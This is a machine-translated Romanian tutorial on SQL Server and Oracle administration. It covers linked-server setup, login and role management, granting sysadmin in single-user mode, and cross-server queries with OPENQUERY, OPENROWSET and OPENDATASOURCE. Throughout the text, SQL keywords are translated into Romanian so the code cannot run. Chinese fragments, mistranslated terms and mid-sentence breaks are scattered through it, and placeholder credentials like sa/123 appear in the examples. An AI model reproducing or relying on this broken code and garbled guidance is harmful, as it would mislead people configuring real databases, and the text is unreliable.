(ADDRESS_LIST =
(ADRESĂ = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Rulați următoarea comandă în modul DOS pentru a confirma că clientul ORACLE este instalat corect.
Utilizator/password@ORCL sqlplus
4) Deschide Start - Panoul de Control - Servicii și confirmă că serviciul de Coordonator de Tranzacții Distribuite a fost pornit.
5) Open SQL SERVER Management Studio, Nume Instanță (ORCL) - Server Object (click dreapta) - Noua Connection Server.
1.
Serverul link: Scrie numele serverului legat, cum ar fi OracleTest
2. Tipul serverului, selectează o altă sursă de date
3. Interfață de acces: Selectează furnizorul Oracle pentru OLE DB
4. Nume produs: Write Oracle
5. Sursa datelor: Redactare
Numele serviciului configurat în fișierul tnsnames.ora, cum ar fi ORCL
6. Stringul interfeței de acces: userid=sys ca sysdba; parolă=parolă
7. Pe pagina Select Security Options, folosește acest context de instalare pentru a stabili o conexiune:
a) Autentificare la distanță: utilizator (alt utilizator, nu sys)
b)
Folosește parola: parolă
8. Setează "NT AUTHORITY\SYSTEM" pe autentificare locală, remote user sys, și setează parola
9.
Eşti sigur
6) Există două moduri de a scrie SQL
a) Utilizarea sintaxei T-SQL:
SELECTEAZĂ * DE
OraTest.ERP.BAS_ITEM_CLASS
Rețineți că atunci când introduceți instrucțiuni SQL în SQL Query Analyzer, acordați atenție comutării chinezești pe lățime completă și jumătate de lățime
Așa e!
b) Folosirea sintaxei PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) A doua metodă de acces este cu aproximativ 50% mai rapidă decât prima; A doua metodă de acces este conectată direct
ORACLE este comparabil; Prima metodă de acces poate duce la unele erori neașteptate, cum ar fi: Tabelul nu există, nici utilizatorul actual
Nu există acces la masă și așa mai departe.
d) Dacă coloana care trebuie accesată folosește tipuri de date fără precizie, ambele
Aceasta este o eroare a ORACLE care nu poate fi remediată și poate fi evitată doar printr-o gestionare specială a instrucțiunilor de interogare:
Metadatele furnizate de furnizorul OLE DB 'OraOLEDB.Oracle' pentru coloane sunt inconsistente. Informațiile despre metadate sunt modificate la execuție.
MSSQL a adăugat
Șterge utilizatorul și oferă permisiuni
Folosește numele bibliotecii tale Du-te --Adaugă utilizatori Exec sp_addlogin 'test' – Adaugă autentificare Executiv
sp_grantdbaccess N'test' - făcându-l un utilizator legitim al bazei de date actuale executiv sp_addrolemember N'db_owner',
N'test' - acordă toate permisiunile propriei baze de date --Aceasta creează utilizatori care pot accesa doar propria bază de date și ceea ce este inclus în baza de date
tablă publică pentru utilizatorii invitați Du-te --Elimină utilizatorul de test exec sp_revokedbaccess N'test' -- Eliminarea accesului la baza de date
Limită exec sp_droplogin N'test' -- șterge logarea Dacă îl creezi în Enterprise Manager, folosește: Manager Enterprise - Securitate
Sex --Click dreapta Autentificare --Autentificare nouă Elemente generale --Introdu numele de utilizator în nume
--Metoda de autentificare este selectată în funcție de nevoile tale (dacă folosești autentificarea Windows, trebuie mai întâi să creezi un nou utilizator printre utilizatorii sistemului de operare)
--În setările implicite, selectează numele bazei de date pe care vrei să-l accesezi pentru noul utilizator Element de rol al serverului Nu alege nimic din asta bază de date
Element de acces Verifică numele bazei de date la care vrei să ai acces pentru utilizatorul pe care îl creezi Permite rolul de bază de date, bifează "public", "db_ownew" Sigur, asta
Utilizatorul creat de eșantion este același cu utilizatorul creat de afirmația de mai sus
Ultimul pas este setarea unor permisiuni de acces specifice pentru utilizatori specifici, care pot fi referite la următorul exemplu minimal:
--Adaugă utilizatori care au voie doar la tabelul specificat: Executiv sp_addlogin 'nume utilizator', 'parolă', 'nume implicit al bazei de date'
--adaugă la baza de date Exec sp_grantdbaccess 'Username'
--Atribuie permisiuni întregii tabele ACORDĂ SELECTARE, INSEREAZĂ, ACTUALIZEAZĂ, ȘTERGE PE TABEL1 CĂTRE [username] --Atribuie permisiuni unor coloane specifice ACORDĂ SELECTARE, ACTUALIZARE PE tabel1(id,AA) CĂTRE [username]
Pentru setări de securitate specifice și cunoștințe teoretice, vă rugăm să consultați SQL Online Help
Descriere fixă a rolului bazei de date db_owner Ai permisiuni complete în baza de date.
db_accessadmin Poți adăuga sau elimina ID-uri de utilizator.
db_securityadmin Poate gestiona permisiunile complete, proprietatea asupra obiectelor, rolurile și apartenențele la roluri.
db_ddladmin poate emite TOATE declarațiile DDL, dar nu și declarațiile de ACORDARE, REVOCARE sau RESPINGERE.
db_backupoperator poate emite instrucțiuni DBCC, CHECKPOINT și BACKUP.
db_datareader Poți selecta toate datele din orice tabel de utilizator din baza de date.
db_datawriter Poți modifica toate datele din orice tabel de utilizator din baza de date.
db_denydatareader Nu poți selecta date din niciun tabel de utilizator din baza de date.
db_denydatawriter Nu poți modifica nicio dată din niciun tabel de utilizator din baza de date.
Ar trebui să alegi db_datareader, db_datawriter db_accessadmin
5. După ce instanța SQL Server este pornită în modul single-user, contul de administrator Windows poate folosi instrumentul sqlcmd pentru a se conecta în modul de autentificare Windows
SQL Server。 Poți folosi comenzi T-SQL precum "sp_addsrvrolemember" pentru a adăuga un login existent în rolul de sysadmin server
Sau creează un nou cont de autentificare. Un exemplu de afirmație este următoarea:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
DU-TE
Adaugă un privilegiu sysadmin
(1) Gestionarea rolurilor serverului
În SQL Server, există două proceduri stocate principale care implementează managementul rolurilor SQL Server:
sp_addsrvrolemember
și sp_dropsrvrolemember
sp_addsrvrolemember Poți adăuga un cont de autentificare la un rol de server pentru a-l face membru al acelui rol de server. Sintaxa este următoarea: sp_addsrvrolemember
Autentificare , rol
sp_dropsrvrolemember Poți șterge un cont de autentificare dintr-un rol de server, iar când membrul este eliminat din rolul de server, acesta nu mai are acel rol de server
Permisiunile sunt setate. Sintaxa este următoarea: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rol'
în acest proces
@loginname este numele utilizatorului autentificat; @rolename este un rol de chelner.
(2) Gestionarea rolurilor în baze de date
În SQL Server este suportată gestionarea bazelor de date
Există șase tipuri principale de proceduri stocate, iar sensurile și sintaxa lor specifică sunt următoarele:
sp_addrole: Folosit pentru a crea un nou rol de bază de date; sp_addrole
Rol, proprietar
sp_droprole: Folosit pentru a elimina un rol de bază de date din rolul actual de bază de date; sp_droprole rol
sp_helprole:
Este folosit pentru a afișa toate informațiile despre toate rolurile bazei de date din baza de date curentă; sp_helprole ['rol']
sp_addrolemember: Folosit pentru a trimite în baza de date
Adăugați utilizatori de baze de date într-un rol, care pot fi roluri standard definite de utilizator sau roluri fixe în baza de date, dar nu pot fi
Roluri de aplicare. sp_addrolemember rol, security_account
sp_droprolemember: Folosit pentru a șterge un anumit personaj
gospodărie; sp_droprolemember rol, security_account
sp_helprolemember: Folosit pentru afișarea tuturor membrilor unui rol de bază de date
。 sp_helprolemember ['rol']
Interogare MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Autor:
htl258(Tony) -- Data : 2010-06-25 22:23:18 -- Versiune: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 iulie 2008 14:43:34 -- Drepturi de autor (c) 1988-2008 Microsoft Corporation --
Developer Edition pe Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Subiect: Operațiuni SQL de date între diferite baze de date servere ---------------------------------------------------------------------------------- --1. Creează un server de legătură --1.1 Creează un nume de link EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' numele serverului la distanță
sau adresa IP' -- Dacă ai un nume de instanță personalizat, adaugă "\numele instanței"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Creează o autentificare (sau creează o hartă de autentificare pentru serverul de linkuri) (alege doar o singură cale) --1.2.1 Autentificare cu autentificarea Windows EXEC sp_addlinkedsrvlogin 'LinkName' --sau EXECUTIV sp_addlinkedsrvlogin 'LinkName', 'adevărat'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Autentificare cu autentificare SQL EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null,'sa','123' */ --2. Operațiuni de date legate de serverul de legătură --2.1 Exemplu de interogare SELECT * DE la LinkNume.baza de date.nume schema.nume tabel
/*例如:SELECT *
DE la TonyLink.Mydb.dbo.tb */ -- 2.2 Exemplu de import SELECT * ÎN numele tabelului DE la LinkNume.baza de date.nume schema.nume tabel
/*例如:SELECT * INTO Newtb
DE la TonyLink.Mydb.dbo.tb */ -- 2.3 Exemplu de actualizare ACTUALIZARE LinkNume.Nume Bază de Date.Nume Schema.Nume Tabelului SET='valoare' UNDE câmp='condiție'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */ -- 2.4 Șterge exemple ȘTERGE NumeLink.Nume Bază de Date.Nume Schema.Nume Tabel UNDE numele câmpului='condiție'
/*例如:DELETE
TonyLink.Mydb.dbo.tb UNDE Persoane='g' */ --3 prin funcția rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metodă
- 3.1 Metoda OPENQUERY (necesită ajutorul serverului de linkuri pe care tocmai l-ai creat): -- 3.1.1 Exemplu de interogare SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Nume de arhitectură. Numele tabelului')
/* De exemplu: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Exemple de import --3.1.2.1 Importă toate coloanele INSERT OPENQUERY(LinkName, 'SELECT * FROM numele bazei de date. Nume de arhitectură. Nume de tabel
') SELECT * DIN tabelul local
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
DE la TB */ --3.1.2.2 Importă coloanele specificate INSERT OPENQUERY(LinkName, 'SELECT * FROM numele bazei de date. Nume de arhitectură. Numele tabelului') (coloană, coloană...) coloana SELECT,
Coloană... DE la tabelul local
/* De exemplu: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) ALEGE
INTERVAL, NIVEL, PERSOANE DIN TB */ --3.1.3 Exemple de actualizare UPDATE OPENQUERY(LinkName, 'SELECT * FROM numele bazei de date. Nume de arhitectură. numele tabelului') câmp SET = cuvânt WHERE 'valoare'
Segment = 'Condiție'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persoane='a' */ --3.1.4 Șterge exemple ȘTERGE OPENQUERY(NumeLink, 'SELECT * DIN numele bazei de date. Nume de arhitectură. numele tabelului') UNDE numele câmpului='condiție'
/*例
De exemplu: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 Metoda OPENROWSET (nu trebuie să folosești numele linkului creat.) Dacă numele instanței conectate nu este implicit, trebuie să-l setezi în numele serverului SQL sau adresa IP.
"\nume de instanță") --3.2.1 Exemplu de interogare --3.2.1.1 Interogare a metodei de autentificare Windows (una dintre următoarele metode este suficientă) SELECTEAZĂ * DIN OPENROWSET('SQLOLEDB', 'server=nume server sql sau
adresă IP; Trusted_Connection=da', numele bazei de date. Nume de arhitectură. Numele tabelului) SELECTEAZĂ * DIN OPENROWSET('SQLNCLI',
'server=nume server sql sau adresă IP; Trusted_Connection=da', numele bazei de date. Nume de arhitectură. Numele tabelului) SELECTEAZĂ * DE
OPENROWSET('SQLOLEDB', 'server=nume server sql sau adresă IP; Trusted_Connection=da','SELECT * DIN baza de date
Nume. Nume de arhitectură. Numele tabelului') SELECT * FROM OPENROWSET('SQLNCLI', 'server=nume server sql sau adresă IP
Adresă; Trusted_Connection=da','SELECT * DE la numele bazei de date. Nume de arhitectură. Numele tabelului')
/* De exemplu: SELECT * DIN OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da',Mydb.dbo.tb)
Sau: SELECTEAZĂ * DIN OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da',Mydb.dbo.tb)
Sau: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da','SELECT *
DE la Mydb.dbo.tb')
Sau: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da','SELECT *
DE la Mydb.dbo.tb') */ --3.2.1.2 Interogare metodă de autentificare SQL (Una dintre următoarele metode este suficientă) SELECTEAZĂ * DIN OPENROWSET
('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă', numele bazei de date. Nume de arhitectură. Numele tabelului) SELECTEAZĂ * DE
OPENROWSET('SQLNCLI', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă', numele bazei de date. Nume de arhitectură. Numele tabelului) SELECTEAZĂ * DIN OPENROWSET('SQLOLEDB', 'server=numele serverului sql sau adresa IP; uid=username; pwd=parolă', 'SELECT *
DE la numele bazei de date. Nume de arhitectură. Numele tabelului') SELECTEAZĂ * DIN OPENROWSET('SQLNCLI', 'server=nume server sql sau adresă IP; uid=
Nume de utilizator; pwd=parolă', 'SELECT * DE la numele bazei de date. Nume de arhitectură. Numele tabelului') SELECT * DIN OPENROWSET('SQLOLEDB', 'SQL
numele serverului'; 'username'; 'parolă', numele bazei de date. Nume de arhitectură. Numele tabelului) SELECTEAZĂ * DIN OPENROWSET('SQLNCLI', 'NUME SERVER SQL)
'; 'username'; 'parolă', numele bazei de date. Nume de arhitectură. Numele tabelului) SELECTEAZĂ * DIN OPENROWSET('SQLOLEDB', 'NUME SERVER SQL'; ' Utilizator
nume'; 'Parolă', 'SELECTEAZĂ * DE la numele bazei de date. Nume de arhitectură. Numele tabelului') SELECT * DIN OPENROWSET('SQLNCLI', 'sql server
nume'; 'username'; 'Parolă', 'SELECTEAZĂ * DE la numele bazei de date. Nume de arhitectură. Numele tabelului')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Sau: SELECTEAZĂ * DIN OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Sau: SELECTEAZĂ * DIN OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
sau: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * DE
Mydb.dbo.tb')
sau: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
sau: SELECTEAZĂ * DIN OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
sau: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * DIN Mydb.dbo.tb')
sau: SELECTEAZĂ * DIN OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * DIN Mydb.dbo.tb') */ --3.2.2 Exemplu de import --3.2.2.1 Import toate coloanele INSERAȚI OPENROWSET('SQLOLEDB', 'server=nume server sql sau adresă IP
Adresă; uid=username; pwd=parolă', numele bazei de date. Nume de arhitectură. Numele tabelului) SELECT * DIN tabelul local
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SELECT * DIN TB */ --3.2.2.2 Import
Specifică coloanele INSERAȚI OPENROWSET('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă', numele bazei de date. Rack
Numele constructului. Numele tabelului) (coloană, coloană...) Coloană SELECT, coloană... DE la tabelul local
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(RAZĂ, NIVEL, Persoane) ALEGE
INTERVAL, NIVEL, PERSOANE DIN TB */ --Notă: Pentru mai multe metode alternative, consultați exemplul interogării .2.1, înlocuiți pur și simplu funcția OPENROWSET
Conținutul este suficient. --3.2.3 Exemplu de actualizare UPDATE OPENROWSET('SQLOLEDB', 'server=nume sau adresă IP al serverului sql; uid=username
;p wd=parolă', numele bazei de date. Nume de arhitectură. Numele tabelului) Câmp SET = 'valoare' UNDE câmpul = 'condiție'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persoane='g' UNDE Persoane = 'a' */ --Notă: Pentru metode alternative, consultați exemplul interogării .2.1, pur și simplu înlocuiți conținutul din OPENROWSET. --3.2.4 Șterge indicația
Exemplu ȘTERGE OPENROWSET('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă', numele bazei de date. Numele schemei
.numele tabelului) UNDE numele câmpului='condiție'
/* De exemplu: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) UNDE
Persoane='g' */ --Notă: Pentru metode alternative, vezi exemplul interogării .2.1, pur și simplu înlocuiește conținutul din OPENROWSET. --3.3 Metoda OPENDATASOURCE
(Nu trebuie să folosești numele linkului creat.) Dacă numele instanței conexiunii nu este implicit, trebuie să adaugi \numele instanței după numele serverului SQL sau adresa IP
") --3.3.1 Exemplu de interogare --3.3.1.1 Interogare a metodei de autentificare Windows (Una dintre următoarele metode este suficientă) SELECTEAZĂ * DIN OPENDATASOURCE('SQLOLEDB',
'server=nume server sql sau adresă IP; Trusted_Connection=da'). Numele bazei de date. Nume de arhitectură. Nume de tabel SELECTEAZĂ * DE
OPENDATASOURCE('SQLNCLI', 'server=nume server sql sau adresă IP; Trusted_Connection=da'). Numele bazei de date. Nume de arhitectură.
Nume de tabel
/* De exemplu: SELECT * DIN OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=da'). Mydb.dbo.tb
Sau: SELECTEAZĂ * DIN OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=da'). Mydb.dbo.tb */ --3.3.1.2 Interogare a metodei de autentificare SQL (una dintre următoarele metode este suficientă) SELECTEAZĂ * DIN OPENDATASOURCE('SQLOLEDB', 'server=nume server sql sau
adresă IP; uid=username; pwd=parolă'). Numele bazei de date. Nume de arhitectură. Nume de tabel SELECTEAZĂ * DIN OPENDATASOURCE('SQLNCLI', 'server=nume server sql sau adresă IP; uid=utilizator
Nume; pwd=parolă'). Numele bazei de date. Nume de arhitectură. Nume de tabel SELECTEAZĂ * DIN OPENDATASOURCE('SQLOLEDB', 'Data Source=numele serverului sql sau adresa IP'
Adresă; uid=username; pwd=parolă'). Numele bazei de date. Nume de arhitectură. Nume de tabel SELECTEAZĂ * DIN OPENDATASOURCE('SQLNCLI', 'Data Source=nume server sql sau adresă IP
Adresă; uid=username; pwd=parolă'). Numele bazei de date. Nume de arhitectură. Nume de tabel
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Sau: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Sau: SELECTEAZĂ * DIN OPENDATASOURCE('SQLOLEDB','Data
Sursa=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Sau: SELECTEAZĂ * DIN OPENDATASOURCE('SQLNCLI','Data
sursa=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importă toate coloanele INSERAȚI OPENDATASOURCE('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă').
Conform denumirii bibliotecii. Nume de arhitectură. Nume de tabel SELECT * DIN tabelul local
/* De exemplu: INSERAȚI OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ALEGE
* DE la TB */ --3.3.2.2 Importă coloanele specificate INSERAȚI OPENDATASOURCE('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă').
Conform denumirii bibliotecii. Nume de arhitectură. Numele tabelului (coloană, coloană...) Coloană SELECT, coloană... DE la tabelul local
/* De exemplu: INSERAȚI OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(DISTANȚĂ, NIVEL, Persoane) SELECTEAZĂ INTERVALUL, NIVELUL, Persoane DIN TB */ --Notă: Pentru metode alternative, vezi exemplul interogării .3.1, înlocuiește pur și simplu conținutul în funcția set de linii (OPENDATASOURCE). --3.3.3 Exemplu de actualizare ACTUALIZARE OPENDATASOURCE('SQLOLEDB', 'server=nume server sql sau adresă IP; uid=username; pwd=parolă'). Numele bazei de date. Nume de arhitectură. Nume de tabel Câmp SET = 'valoare' UNDE câmpul = 'condiție'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persoane='g' UNDE Persoane = 'a' */ --Notă: Pentru metode alternative, vezi exemplul interogării .3.1, înlocuiește pur și simplu conținutul în funcția set de linii (OPENDATASOURCE). --3.3.4 Șterge exemplul ȘTERGE OPENDATASOURCE('SQLOLEDB', 'server=numele serverului sql sau adresa IP; uid=username; pwd=parolă'). Numele bazei de date. Nume de arhitectură. Nume de tabel UNDE numele câmpului='condiție'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb UNDE Persoane = 'g' */ - Notă: Mai multe alternative
Consultă exemplul interogării .3.1, înlocuiește pur și simplu conținutul din funcția rowset (OPENDATASOURCE). -- Șterge metoda serverului legat --Dacă nu mai folosești informațiile legate de link în viitor, poți șterge informațiile legate de link --4.1 Șterge informațiile de autentificare (sau șterge harta numelor de autentificare a serverului legat) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* De exemplu: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Șterge numele serverului legat EXEC sp_dropserver 'LinkName', 'droplogins' – dacă droplogin-urile sunt specificate, Harta de autentificare trebuie ștearsă înainte de ștergerea serverului legat
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Atașat
: Cum să obții numele furnizorului (EXEC master). xp_enum_oledb_providers) SELECTEAZĂ DISTRIBUȚIA ([Numele furnizorului] CA
VARCHAR(30)) NumeFurnizor, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion DE LA
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=da', "PORNEȘTE DOAR ÎNCEPĂTORUL; EXECUTIV
Maestre.. xp_enum_oledb_providers'
)
|